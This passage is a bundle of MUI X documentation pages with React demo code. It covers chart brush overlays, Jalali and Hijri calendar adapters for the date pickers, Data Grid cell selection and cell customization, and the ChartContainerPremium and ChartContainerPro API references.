import { BarChart } from '@mui/x-charts/BarChart';
import { ChartsBrushOverlay } from '@mui/x-charts/ChartsBrushOverlay';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';

export default function BrushBasic() {
  return (
    <Box sx={{ width: '100%' }}>
      <Typography variant="body2" sx={{ mb: 2 }}>
        Click and drag on the chart to see the brush selection overlay.
      </Typography>
      <BarChart
        height={300}
        series={[
          {
            data: [4, 8, 6, 12, 9, 15, 11, 14, 13, 18, 16, 20],
            label: 'Sales',
          },
        ]}
        brushConfig={{ enabled: true }}
        xAxis={[{ data: xAxisData }]}
      >
        <ChartsBrushOverlay />
      </BarChart>
    </Box>
  );
}

const xAxisData = [
  'Jan',
  'Feb',
  'Mar',
  'Apr',
  'May',
  'Jun',
  'Jul',
  'Aug',
  'Sep',
  'Oct',
  'Nov',
  'Dec',
];

```

## Customization examples

### Custom overlay

You can create a custom brush overlay by building your own component that uses the `useBrush()` hook.
The example below displays the values at the start and end positions, along with the difference and percentage change between them.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import {
  useBrush,
  useDrawingArea,
  useLineSeries,
  useXScale,
} from '@mui/x-charts/hooks';
import { useTheme } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';

function CustomBrushOverlay() {
  const theme = useTheme();
  const drawingArea = useDrawingArea();
  const brush = useBrush();
  const xScale = useXScale<'point'>();
  const series = useLineSeries('marketValue');

  if (!brush || !series) {
    return null;
  }

  const { left, top, width, height } = drawingArea;

  // Clamp coordinates to drawing area
  const clampX = (x: number) => Math.max(left, Math.min(left + width, x));
  const clampedStartX = clampX(brush.start.x!);
  const clampedCurrentX = clampX(brush.current.x!);

  const minX = Math.min(clampedStartX, clampedCurrentX);
  const maxX = Math.max(clampedStartX, clampedCurrentX);
  const rectWidth = maxX - minX;

  const color = theme.palette.primary.main;

  if (rectWidth < 1) {
    return null;
  }

  const getIndex = (x: number) =>
    Math.floor(
      (x - Math.min(...xScale.range()) + xScale.step() / 2) / xScale.step(),
    );
  // Calculate the approximate data indices based on x position
  const startIndex = getIndex(clampedStartX);
  const currentIndex = getIndex(clampedCurrentX);

  const startValue = series.data[startIndex]!;
  const currentValue = series.data[currentIndex]!;
  const difference = currentValue - startValue;
  const percentChange = ((difference / startValue) * 100).toFixed(2);

  // Get the date labels
  const startDate = (xScale.domain()[startIndex] as string) || '';
  const currentDate = (xScale.domain()[currentIndex] as string) || '';

  return (
    <g>
      {/* Start line */}
      <line
        x1={clampedStartX}
        y1={top}
        x2={clampedStartX}
        y2={top + height}
        stroke={color}
        strokeWidth={2}
        strokeDasharray="5,5"
        pointerEvents="none"
      />

      {/* Current line */}
      <line
        x1={clampedCurrentX}
        y1={top}
        x2={clampedCurrentX}
        y2={top + height}
        stroke={color}
        strokeWidth={2}
        strokeDasharray="5,5"
        pointerEvents="none"
      />

      {/* Selection rectangle */}
      <rect
        x={minX}
        y={top}
        width={rectWidth}
        height={height}
        fill={color}
        fillOpacity={0.1}
        pointerEvents="none"
      />

      {/* Start label */}
      <g transform={`translate(${clampedStartX}, ${top + 15})`}>
        <rect x={-30} y={0} width={60} height={40} fill={color} rx={4} />
        {/* Date label */}
        <text x={0} y={16} textAnchor="middle" fill="white" fontSize={10}>
          {startDate}
        </text>
        {/* Value label */}
        <text
          x={0}
          y={32}
          textAnchor="middle"
          fill="white"
          fontSize={11}
          fontWeight="bold"
        >
          {startValue.toFixed(2)}
        </text>
      </g>

      {/* End label */}
      <g transform={`translate(${clampedCurrentX}, ${top + 15})`}>
        <rect x={-30} y={0} width={60} height={40} fill={color} rx={4} />
        {/* Date label */}
        <text x={0} y={16} textAnchor="middle" fill="white" fontSize={10}>
          {currentDate}
        </text>
        {/* Value label */}
        <text
          x={0}
          y={32}
          textAnchor="middle"
          fill="white"
          fontSize={11}
          fontWeight="bold"
        >
          {currentValue.toFixed(2)}
        </text>
      </g>

      {/* Difference label in the middle */}
      <g transform={`translate(${(minX + maxX) / 2}, ${top + height - 30})`}>
        <rect
          x={-50}
          y={0}
          width={100}
          height={26}
          fill={
            difference >= 0 ? theme.palette.success.main : theme.palette.error.main
          }
          rx={4}
        />
        <text
          x={0}
          y={17}
          textAnchor="middle"
          fill="white"
          fontSize={12}
          fontWeight="bold"
        >
          {difference >= 0 ? '+' : ''}
          {difference.toFixed(2)} ({percentChange}%)
        </text>
      </g>
    </g>
  );
}

const marketData = [
  100, 96.56, 97.04, 98.95, 102.66, 106.18, 107.76, 109.78, 113.57, 111.54, 107.69,
  104.58, 106.62, 103.81, 104.46, 105.14, 108.94, 112.81, 112.62, 117.52, 122.17,
  122.11, 121.44, 122.5, 125.42, 127.46, 129.21, 124.71, 125.0, 125.28, 125.15,
  125.06, 120.48, 115.83, 116.47, 119.58, 118.99, 123.46, 126.83, 130.84, 131.12,
  131.31, 129.14, 133.35, 130.15, 129.02, 132.57, 136.1, 139.33, 139.66,
];
const dates = Array.from({ length: 50 }, (_, i) => {
  const date = new Date(2024, 0, i + 1);
  return date.toLocaleDateString('en-US', { month: 'short', day: 'numeric' });
});

export default function BrushCustomOverlay() {
  return (
    <Box sx={{ width: '100%' }}>
      <Typography variant="body2" sx={{ mb: 2 }}>
        Custom brush overlay showing the values at start and end positions, and the
        difference between them.
      </Typography>
      <LineChart
        height={300}
        series={[
          {
            data: marketData,
            label: 'Market Value',
            showMark: false,
            id: 'marketValue',
          },
        ]}
        brushConfig={{ enabled: true }}
        xAxis={[
          {
            data: dates,
            scaleType: 'point',
          },
        ]}
      >
        <CustomBrushOverlay />
      </LineChart>
    </Box>
  );
}

```

### Data selection

You can use the brush to select and display data points within the selection area.
The example below shows a scatter chart where you can select points by dragging, and the selected points are displayed below the chart.

```tsx
import * as React from 'react';
import { ChartDataProvider } from '@mui/x-charts/ChartDataProvider';
import { ChartsSurface } from '@mui/x-charts/ChartsSurface';
import { ScatterPlot } from '@mui/x-charts/ScatterChart';
import { ChartsAxis } from '@mui/x-charts/ChartsAxis';
import {
  useBrush,
  useScatterSeries,
  useXScale,
  useYScale,
} from '@mui/x-charts/hooks';
import { ChartsBrushOverlay } from '@mui/x-charts/ChartsBrushOverlay';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Chip from '@mui/material/Chip';
import Stack from '@mui/material/Stack';

const scatterData = [
  { x: 5, y: 12, id: 1 },
  { x: 12, y: 18, id: 2 },
  { x: 18, y: 9, id: 3 },
  { x: 25, y: 22, id: 4 },
  { x: 32, y: 15, id: 5 },
  { x: 40, y: 28, id: 6 },
  { x: 48, y: 20, id: 7 },
  { x: 55, y: 35, id: 8 },
  { x: 62, y: 25, id: 9 },
  { x: 70, y: 40, id: 10 },
  { x: 78, y: 32, id: 11 },
  { x: 85, y: 45, id: 12 },
  { x: 15, y: 30, id: 13 },
  { x: 35, y: 38, id: 14 },
  { x: 50, y: 42, id: 15 },
  { x: 65, y: 36, id: 16 },
  { x: 22, y: 25, id: 17 },
  { x: 44, y: 33, id: 18 },
  { x: 58, y: 29, id: 19 },
  { x: 72, y: 37, id: 20 },
];

const empty: { x: number; y: number; id: number }[] = [];

function ChartContent() {
  return (
    <React.Fragment>
      <ScatterPlot />
      <ChartsAxis />
      <ChartsBrushOverlay />
    </React.Fragment>
  );
}

function SelectedPointsList() {
  const brush = useBrush();
  const series = useScatterSeries('data');
  const xScale = useXScale<'linear'>();
  const yScale = useYScale<'linear'>();

  const selectedData = React.useMemo(() => {
    if (!brush || !series || !xScale || !yScale) {
      return empty;
    }

    const { start, current } = brush;

    // Get the min/max x and y positions
    const minX = Math.min(start.x!, current.x!);
    const maxX = Math.max(start.x!, current.x!);
    const minY = Math.min(start.y!, current.y!);
    const maxY = Math.max(start.y!, current.y!);

    // Convert pixel coordinates back to data values
    const minDataX = xScale.invert(minX);
    const maxDataX = xScale.invert(maxX);
    const minDataY = yScale.invert(maxY);
    const maxDataY = yScale.invert(minY);

    // Filter data points within the brush selection
    const d = series.data
      .map((point, index) => ({
        x: point.x as number,
        y: point.y as number,
        id: (point.id as number) ?? index + 1,
      }))
      .filter((point) => {
        return (
          point.x >= (minDataX as number) &&
          point.x <= (maxDataX as number) &&
          point.y >= (minDataY as number) &&
          point.y <= (maxDataY as number)
        );
      });

    return d;
  }, [brush, series, xScale, yScale]);

  if (selectedData.length === 0) {
    return (
      <Box sx={{ mt: 3 }}>
        <Typography variant="body2" color="text.secondary">
          No points selected. Drag on the chart to select data points.
        </Typography>
      </Box>
    );
  }

  return (
    <Box sx={{ mt: 3 }}>
      <Typography variant="subtitle2" gutterBottom>
        Selected Points ({selectedData.length}):
      </Typography>
      <Stack direction="row" spacing={1} sx={{ flexWrap: 'wrap', gap: 1 }}>
        {selectedData.map((point) => (
          <Chip
            key={point.id}
            label={`#${point.id}: (${point.x}, ${point.y})`}
            color="primary"
            variant="outlined"
            size="small"
          />
        ))}
      </Stack>
    </Box>
  );
}

export default function BrushScatterList() {
  return (
    <Box sx={{ width: '100%' }}>
      <Typography variant="body2" sx={{ mb: 2 }}>
        Drag to select points on the scatter chart. Selected points will be displayed
        below.
      </Typography>
      <ChartDataProvider
        series={[
          {
            type: 'scatter',
            data: scatterData,
            id: 'data',
            label: 'Data Points',
          },
        ]}
        xAxis={[{ id: 'x-axis', min: 0, max: 100 }]}
        yAxis={[{ id: 'y-axis', min: 0, max: 50 }]}
        height={400}
        brushConfig={{ enabled: true }}
      >
        <ChartsSurface>
          <ChartContent />
        </ChartsSurface>
        <SelectedPointsList />
      </ChartDataProvider>
    </Box>
  );
}

```

### Using the `useBrush()` hook

The `useBrush()` hook provides access to the current brush state.
It returns an object with:

- `start`: The starting point of the brush selection (`{ x: number, y: number } | null`)
- `current`: The current point of the brush selection (`{ x: number, y: number } | null`)

```jsx
import { useBrush } from '@mui/x-charts/hooks';

function MyCustomOverlay() {
  const brush = useBrush();

  // No brush is in progress
  if (!brush) {
    return null;
  }

  const { start, current } = brush;

  // start.x, start.y - The coordinates where the brush started
  // current.x, current.y - The current coordinates of the brush

  return <g>{/* Your custom overlay */}</g>;
}
```

## Configuration

The `brushConfig` prop accepts an object with the following boolean options:

- `enabled` (default: `false`): Whether the brush interaction is enabled
- `preventTooltip` (default: `true`): Whether to prevent tooltip from showing during brush interaction
- `preventHighlight` (default: `true`): Whether to prevent highlighting during brush interaction

```jsx
<LineChart
  brushConfig={{
    enabled: true,
    preventTooltip: true,
    preventHighlight: true,
  }}
  // ... other props
/>
```

<!-- ## Integration with Zoom

In Pro charts (`LineChartPro`, `BarChartPro`, `ScatterChartPro`), the brush can be used as a zoom interaction.
See the [Zoom and Pan documentation](/x/react-charts/zoom-and-pan/) for more details on using brush for zooming. -->

---

# Source: https://mui.com/x/react-date-pickers/calendar-systems.md

---
productId: x-date-pickers
title: Date and Time Pickers - Calendar systems
components: LocalizationProvider
githubLabel: 'scope: pickers'
packageName: '@mui/x-date-pickers'
---

# Calendar systems

Use the Date and Time Pickers with non-Gregorian calendars.

## Jalali

You can use either the `AdapterDateFnsJalali` adapter, which is based on [date-fns-jalali](https://www.npmjs.com/package/date-fns-jalali),
or the `AdapterMomentJalaali` adapter, which is based on [moment-jalaali](https://www.npmjs.com/package/moment-jalaali).

The following demo shows how to use the `date-fns-jalali` adapter:

```tsx
import * as React from 'react';
import { prefixer } from 'stylis';
import rtlPlugin from '@mui/stylis-plugin-rtl';
import createCache from '@emotion/cache';
import { CacheProvider } from '@emotion/react';
import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalali';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';

// Create rtl cache
const cacheRtl = createCache({
  key: 'adapter-date-fns-jalali-demo',
  stylisPlugins: [prefixer, rtlPlugin],
});

export default function AdapterJalali() {
  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();

  const theme = React.useMemo(
    () => createTheme(existingTheme, { direction: 'rtl' }),
    [existingTheme],
  );

  return (
    <CacheProvider value={cacheRtl}>
      <ThemeProvider theme={theme}>
        <div dir="rtl">
          <LocalizationProvider dateAdapter={AdapterDateFnsJalali}>
            <DateTimePicker
              label="AdapterDateFnsJalali"
              defaultValue={new Date(2022, 1, 1, 12)}
              // Setting `dir="rtl"` on the paper is needed if the `<div dir="rtl />` does not contain the portaled element.
              // If you set `dir="rtl"` on the `<body />`, you can skip it.
              slotProps={{
                desktopPaper: {
                  dir: 'rtl',
                },
                mobilePaper: {
                  dir: 'rtl',
                },
              }}
            />
          </LocalizationProvider>
        </div>
      </ThemeProvider>
    </CacheProvider>
  );
}

```

:::info
We support `date-fns-jalali` package v2.x, v3.x, and v4.x major versions.

A single adapter cannot work for all `date-fns-jalali` versions, because the way functions are exported has been changed in v3.x.

To use `date-fns-jalali` v2.x, you need to import the adapter from `@mui/x-date-pickers/AdapterDateFnsJalaliV2` instead of `@mui/x-date-pickers/AdapterDateFnsJalali`.

```tsx
// with date-fns-jalali v3.x or v4.x
import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalali';
// with date-fns-jalali v2.x
import { AdapterDateFnsJalali } from '@mui/x-date-pickers/AdapterDateFnsJalaliV2';
```

:::

The following demo shows how to use the `moment-jalaali` adapter:

```tsx
import * as React from 'react';
import { prefixer } from 'stylis';
import rtlPlugin from '@mui/stylis-plugin-rtl';
import createCache from '@emotion/cache';
import { CacheProvider } from '@emotion/react';
import moment from 'moment-jalaali';
import { AdapterMomentJalaali } from '@mui/x-date-pickers/AdapterMomentJalaali';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import { DateTimePicker } from '@mui/x-date-pickers/DateTimePicker';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';

// Create rtl cache
const cacheRtl = createCache({
  key: 'adapter-moment-jalali-demo',
  stylisPlugins: [prefixer, rtlPlugin],
});

export default function AdapterMomentJalali() {
  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();

  const theme = React.useMemo(
    () => createTheme(existingTheme, { direction: 'rtl' }),
    [existingTheme],
  );

  return (
    <CacheProvider value={cacheRtl}>
      <ThemeProvider theme={theme}>
        <div dir="rtl">
          <LocalizationProvider dateAdapter={AdapterMomentJalaali}>
            <DateTimePicker
              label="AdapterMomentJalaali"
              defaultValue={moment('2022-02-01T12:00:00')}
              // Setting `dir="rtl"` on the paper is needed if the `<div dir="rtl />` does not contain the portaled element.
              // If you set `dir="rtl"` on the `<body />`, you can skip it.
              slotProps={{
                desktopPaper: {
                  dir: 'rtl',
                },
                mobilePaper: {
                  dir: 'rtl',
                },
              }}
            />
          </LocalizationProvider>
        </div>
      </ThemeProvider>
    </CacheProvider>
  );
}

```

## Hijri

You can use the `AdapterMomentHijri` adapter, which is based on [moment-hijri](https://www.npmjs.com/package/moment-hijri):

```tsx
import * as React from 'react';
import moment from 'moment-hijri';
import { prefixer } from 'stylis';
import rtlPlugin from '@mui/stylis-plugin-rtl';
import createCache from '@emotion/cache';
import { CacheProvider } from '@emotion/react';
import Button from '@mui/material/Button';
import { createTheme, ThemeProvider, useTheme } from '@mui/material/styles';
import { AdapterMomentHijri } from '@mui/x-date-pickers/AdapterMomentHijri';
import { LocalizationProvider } from '@mui/x-date-pickers/LocalizationProvider';
import {
  DateTimePicker,
  DateTimePickerProps,
  DateTimePickerFieldProps,
} from '@mui/x-date-pickers/DateTimePicker';
import { useValidation, validateDate } from '@mui/x-date-pickers/validation';
import {
  useSplitFieldProps,
  useParsedFormat,
  usePickerContext,
} from '@mui/x-date-pickers/hooks';

// Create rtl cache
const cacheRtl = createCache({
  key: 'adapter-moment-hijri-demo',
  stylisPlugins: [prefixer, rtlPlugin],
});

function ButtonDateTimeField(props: DateTimePickerFieldProps) {
  const { internalProps, forwardedProps } = useSplitFieldProps(props, 'date');

  const pickerContext = usePickerContext();
  const parsedFormat = useParsedFormat();
  const { hasValidationError } = useValidation({
    validator: validateDate,
    value: pickerContext.value,
    timezone: pickerContext.timezone,
    props: internalProps,
  });

  const valueStr =
    pickerContext.value == null
      ? parsedFormat
      : pickerContext.value.format(pickerContext.fieldFormat);

  return (
    <Button
      {...forwardedProps}
      variant="outlined"
      color={hasValidationError ? 'error' : 'primary'}
      className={pickerContext.rootClassName}
      sx={pickerContext.rootSx}
      ref={pickerContext.triggerRef}
      onClick={() => pickerContext.setOpen((prev) => !prev)}
    >
      {pickerContext.label ? `${pickerContext.label}: ${valueStr}` : valueStr}
    </Button>
  );
}

function ButtonFieldDateTimePicker(props: DateTimePickerProps) {
  return (
    <DateTimePicker
      {...props}
      slots={{ ...props.slots, field: ButtonDateTimeField }}
    />
  );
}

export default function AdapterHijri() {
  // Inherit the theme from the docs site (dark/light mode)
  const existingTheme = useTheme();

  const theme = React.useMemo(
    () => createTheme(existingTheme, { direction: 'rtl' }),
    [existingTheme],
  );

  return (
    <CacheProvider value={cacheRtl}>
      <ThemeProvider theme={theme}>
        <div dir="rtl">
          <LocalizationProvider dateAdapter={AdapterMomentHijri}>
            <ButtonFieldDateTimePicker
              defaultValue={moment(new Date(2022, 1, 1))}
              // moment-hijri support dates between 1356-01-01 and 1499-12-29 H (1937-03-14 and 2076-11-26)
              minDate={moment(new Date(1938, 0, 1))}
              maxDate={moment(new Date(2075, 11, 31))}
              // Setting `dir="rtl"` on the paper is needed if the `<div dir="rtl />` does not contain the portaled element.
              // If you set `dir="rtl"` on the `<body />`, you can skip it.
              slotProps={{
                desktopPaper: {
                  dir: 'rtl',
                },
                mobilePaper: {
                  dir: 'rtl',
                },
              }}
            />
          </LocalizationProvider>
        </div>
      </ThemeProvider>
    </CacheProvider>
  );
}

```

:::error
The adapter with `moment-hijri` does not support the new fields components because the date library seems buggy when parsing a month only.
If you want to help on the support of hijri calendar, please have a look at [this issue](https://github.com/xsoh/moment-hijri/issues/83).

The demo is based on the [Custom Field—Using a Button](/x/react-date-pickers/custom-field/#using-a-button) demo to let you pick a value using only the view.
You can have a look at the other demos in the [Custom Field—With a custom editing experience](/x/react-date-pickers/custom-field/#with-a-custom-editing-experience) section if you want a different editing experience that works with `AdapterMomentHijri`.
:::

## Unsupported libraries

If you need to use a date library that is not supported yet, please [open an issue](https://github.com/mui/mui-x/issues/new/choose) in the MUI X repository.

---

# Source: https://mui.com/x/react-data-grid/cell-selection.md

---
title: Data Grid - Cell selection
---

# Data Grid - Cell selection [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Let users select individual cells or a range of cells.

## Enabling cell selection

By default, the Data Grid lets users select individual rows.
With the Data Grid Premium, you can apply the `cellSelection` prop to let users select individual cells or ranges of cells.

```tsx
<DataGridPremium cellSelection />
```

## Selecting cells

With the `cellSelection` prop applied, users can select a single cell by clicking on it, or by pressing <kbd><kbd class="key">Shift</kbd>+<kbd class="key">Space</kbd></kbd> when the cell is in focus.
Select multiple cells by holding <kbd class="key">Cmd</kbd> (or <kbd class="key">Ctrl</kbd> on Windows) while clicking on them.
Hold <kbd class="key">Cmd</kbd> (or <kbd class="key">Ctrl</kbd> on Windows) and click on a selected cell to deselect it.

To select a range of cells, users can:

- Click on a cell, drag the mouse over nearby cells, and then release.
- Click on a cell, then hold <kbd class="key">Shift</kbd> and click on another cell. If a third cell is clicked then the selection will restart from the last clicked cell.
- Use the arrow keys to focus on a cell, then hold <kbd class="key">Shift</kbd> and navigate to another cell—if <kbd class="key">Shift</kbd> is released and pressed again then the selection will restart from the last focused cell.

Try out the various actions to select cells in the demo below—you can toggle [row selection](/x/react-data-grid/row-selection/) on and off to see how these two selection features can work in parallel.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import { DataGridPremium } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function CellSelectionGrid() {
  const [rowSelection, setRowSelection] = React.useState(false);

  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  return (
    <div style={{ width: '100%' }}>
      <Button sx={{ mb: 1 }} onClick={() => setRowSelection(!rowSelection)}>
        Toggle row selection
      </Button>
      <div style={{ height: 400 }}>
        <DataGridPremium
          rowSelection={rowSelection}
          checkboxSelection={rowSelection}
          cellSelection
          {...data}
        />
      </div>
    </div>
  );
}

```

## Controlling cell selection

You can control which cells are selected using the `cellSelectionModel` prop.
This prop accepts an object with keys corresponding to the row IDs that contain selected cells.
The value of each key is itself an object, which has a column field for a key and a boolean value for its selection state.
You can set this to `true` to select a cell or `false` to deselect it.
Removing the field from the object also deselects the cell.

```tsx
// Selects the cell with field=name from row with id=1
<DataGridPremium cellSelectionModel={{ 1: { name: true } }} />

// Unselects the cell with field=name from row with id=1
<DataGridPremium cellSelectionModel={{ 1: { name: false } }} />
```

When a new selection is made, the callback passed to the `onCellSelectionModelChange` prop is called with the updated model.
Use this value to update the current model.

The following demo shows how these props can be combined to create an Excel-like formula field—try updating multiple cells at once by selecting them and entering a new value in the field at the top.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import TextField from '@mui/material/TextField';
import Stack from '@mui/material/Stack';
import {
  DataGridPremium,
  GridCellSelectionModel,
  GridRowModelUpdate,
  useGridApiRef,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function CellSelectionFormulaField() {
  const apiRef = useGridApiRef();
  const [value, setValue] = React.useState('');
  const [cellSelectionModel, setCellSelectionModel] =
    React.useState<GridCellSelectionModel>({});
  const [numberOfSelectedCells, setNumberOfSelectedCells] = React.useState(0);

  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  const handleCellSelectionModelChange = React.useCallback(
    (newModel: GridCellSelectionModel) => {
      setCellSelectionModel(newModel);
    },
    [],
  );

  const handleValueChange = React.useCallback(
    (event: React.ChangeEvent<HTMLInputElement>) => {
      setValue(event.target.value);
    },
    [],
  );

  const updateSelectedCells = React.useCallback(() => {
    const updates: GridRowModelUpdate[] = [];

    Object.entries(cellSelectionModel).forEach(([id, fields]) => {
      const updatedRow = { ...apiRef.current?.getRow(id) };

      Object.entries(fields).forEach(([field, isSelected]) => {
        if (isSelected) {
          updatedRow[field] = value;
        }
      });

      updates.push(updatedRow);
    });

    apiRef.current?.updateRows(updates);
  }, [apiRef, cellSelectionModel, value]);

  React.useEffect(() => {
    if (apiRef.current === null) {
      return;
    }

    const selectedCells = apiRef.current.getSelectedCellsAsArray();
    setNumberOfSelectedCells(selectedCells.length);

    if (selectedCells.length > 1) {
      setValue('(multiple values)');
    } else if (selectedCells.length === 1) {
      setValue(
        apiRef.current.getCellValue(selectedCells[0].id, selectedCells[0].field),
      );
    } else {
      setValue('');
    }
  }, [apiRef, cellSelectionModel]);

  return (
    <div style={{ width: '100%' }}>
      <Stack sx={{ mb: 1 }} direction="row" spacing={2}>
        <TextField
          label="Selected cell value"
          disabled={numberOfSelectedCells === 0}
          value={value}
          onChange={handleValueChange}
          fullWidth
        />
        <Button disabled={numberOfSelectedCells === 0} onClick={updateSelectedCells}>
          Update selected cells
        </Button>
      </Stack>
      <div style={{ height: 400 }}>
        <DataGridPremium
          apiRef={apiRef}
          rowSelection={false}
          cellSelectionModel={cellSelectionModel}
          onCellSelectionModelChange={handleCellSelectionModelChange}
          cellSelection
          {...data}
        />
      </div>
    </div>
  );
}

```

## Customizing range styles

When multiple selected cells form a continuous range of any size, the following class names are applied to the cells at the edges:

- `MuiDataGrid-cell--rangeTop`: to all cells in the first row of the range
- `MuiDataGrid-cell--rangeBottom`: to all cells in the last row of the range
- `MuiDataGrid-cell--rangeLeft`: to all cells in the first column of the range
- `MuiDataGrid-cell--rangeRight`: to all cells in the last column of the range

:::info
When a single cell is selected, all classes above are applied to that element.
:::

You can use these classes to create CSS selectors targeting specific corners of each range—for example, the demo below adds a border around the outside of the range.

```tsx
import { styled, lighten, darken, alpha } from '@mui/material/styles';
import { DataGridPremium, gridClasses } from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

const StyledDataGridPremium = styled(DataGridPremium)(({ theme }) => {
  const lightBorderColor = lighten(alpha(theme.palette.divider, 1), 0.88);
  const darkBorderColor = darken(alpha(theme.palette.divider, 1), 0.68);

  const selectedCellBorder = alpha(theme.palette.primary.main, 0.5);

  return {
    [`& .${gridClasses.cell}`]: {
      border: `1px solid transparent`,
      borderRight: `1px solid ${lightBorderColor}`,
      borderBottom: `1px solid ${lightBorderColor}`,
      ...theme.applyStyles('dark', {
        borderRightColor: `${darkBorderColor}`,
        borderBottomColor: `${darkBorderColor}`,
      }),
    },
    [`& .${gridClasses.cell}.Mui-selected`]: {
      borderColor: alpha(theme.palette.primary.main, 0.1),
    },
    [`& .${gridClasses.cell}.Mui-selected.${gridClasses['cell--rangeTop']}`]: {
      borderTopColor: selectedCellBorder,
    },
    [`& .${gridClasses.cell}.Mui-selected.${gridClasses['cell--rangeBottom']}`]: {
      borderBottomColor: selectedCellBorder,
    },
    [`& .${gridClasses.cell}.Mui-selected.${gridClasses['cell--rangeLeft']}`]: {
      borderLeftColor: selectedCellBorder,
    },
    [`& .${gridClasses.cell}.Mui-selected.${gridClasses['cell--rangeRight']}`]: {
      borderRightColor: selectedCellBorder,
    },
  };
});

export default function CellSelectionRangeStyling() {
  const { data } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 10,
    maxColumns: 6,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <StyledDataGridPremium rowSelection={false} cellSelection {...data} />
    </div>
  );
}

```

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of the cell selection feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import premiumApi from 'docsx/pages/x/api/data-grid/grid-cell-selection-api.json';

export default function CellSelectionApiNoSnap() {
  return <ApiDocs premiumApi={premiumApi} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-data-grid/cells.md

# Data Grid - Cells

Learn how to customize the rendered elements and values of a cell.

## Customizing cells

The Data Grid provides several methods for customizing the rendered elements and values of a cell, including `renderCell()`, `valueGetter()`, and `valueFormatter()`.
This document describes the key differences and specific use cases for each.

### renderCell()

Use the `renderCell()` function to render any element inside of a cell.
This is the only way to render a React component inside a cell, and also the only way to customize a cell's behavior—for example, by adding a click handler.

Though powerful, it's also expensive in terms of performance, so it should only be used as a last resort when there are no other means for implementing a specific use case.

Here's an example of a cell that uses `renderCell()` to render a button:

```tsx
const columns: GridColDef[] = [
  {
    field: 'date',
    headerName: 'Year',
    renderCell: (params: GridRenderCellParams<any, Date>) => (
      <strong>
        {params.value.getFullYear()}
        <Button
          variant="contained"
          size="small"
          style={{ marginLeft: 16 }}
          tabIndex={params.hasFocus ? 0 : -1}
        >
          Open
        </Button>
      </strong>
    ),
  },
];
```

See [Column definition—Rendering cells](/x/react-data-grid/column-definition/#rendering-cells) for more details.

### valueGetter()

Use the `valueGetter()` function to derive a cell's value from the row data.
This is the most performant way to customize the contents of a cell, and it does so without altering the row data itself.

Common use cases include:

- Transforming a value (for example, converting a decimal value to a percentage value)
- Deriving a value from multiple fields (for example, concatenating first name and last name)
- Deriving a value from a nested field (for example, `user.address.city`)

This function is also used internally in the Data Grid to filter, sort, and render (if `renderCell()` or `valueFormatter()` are not provided).

See [Column definition—Value getter](/x/react-data-grid/column-definition/#value-getter) for more details.

### valueFormatter()

Use the `valueFormatter()` function to format a cell's value (without changing the underlying row data).

Common use cases include:

- Formatting a date to a custom display format
- Formatting a decimal value to a percentage and appending a `%` sign
- Formatting a boolean value to `Yes` or `No`

Unlike `valueGetter()`, this function only impacts rendering—_not_ internal calculations like filtering or sorting.

See [Column definition—value formatter](/x/react-data-grid/column-definition/#value-formatter) for more details.

---

# Source: https://mui.com/x/api/charts/chart-container-premium.md

# ChartContainerPremium API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Range Bar

## Import

```jsx
import { ChartContainerPremium } from '@mui/x-charts-premium/ChartContainerPremium';
// or
import { ChartContainerPremium } from '@mui/x-charts-premium';
```

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-premium/src/ChartContainerPremium/ChartContainerPremium.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-premium/src/ChartContainerPremium/ChartContainerPremium.tsx)

---

# Source: https://mui.com/x/api/charts/chart-container-pro.md

# ChartContainerPro API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Composition](/x/react-charts/composition/)

## Import

```jsx
import { ChartContainerPro } from '@mui/x-charts-pro/ChartContainerPro';
// or
import { ChartContainerPro } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| colors | `Array<string> \| func` | `blueberryTwilightPalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| height | `number` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialZoom | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| margin | `{ bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
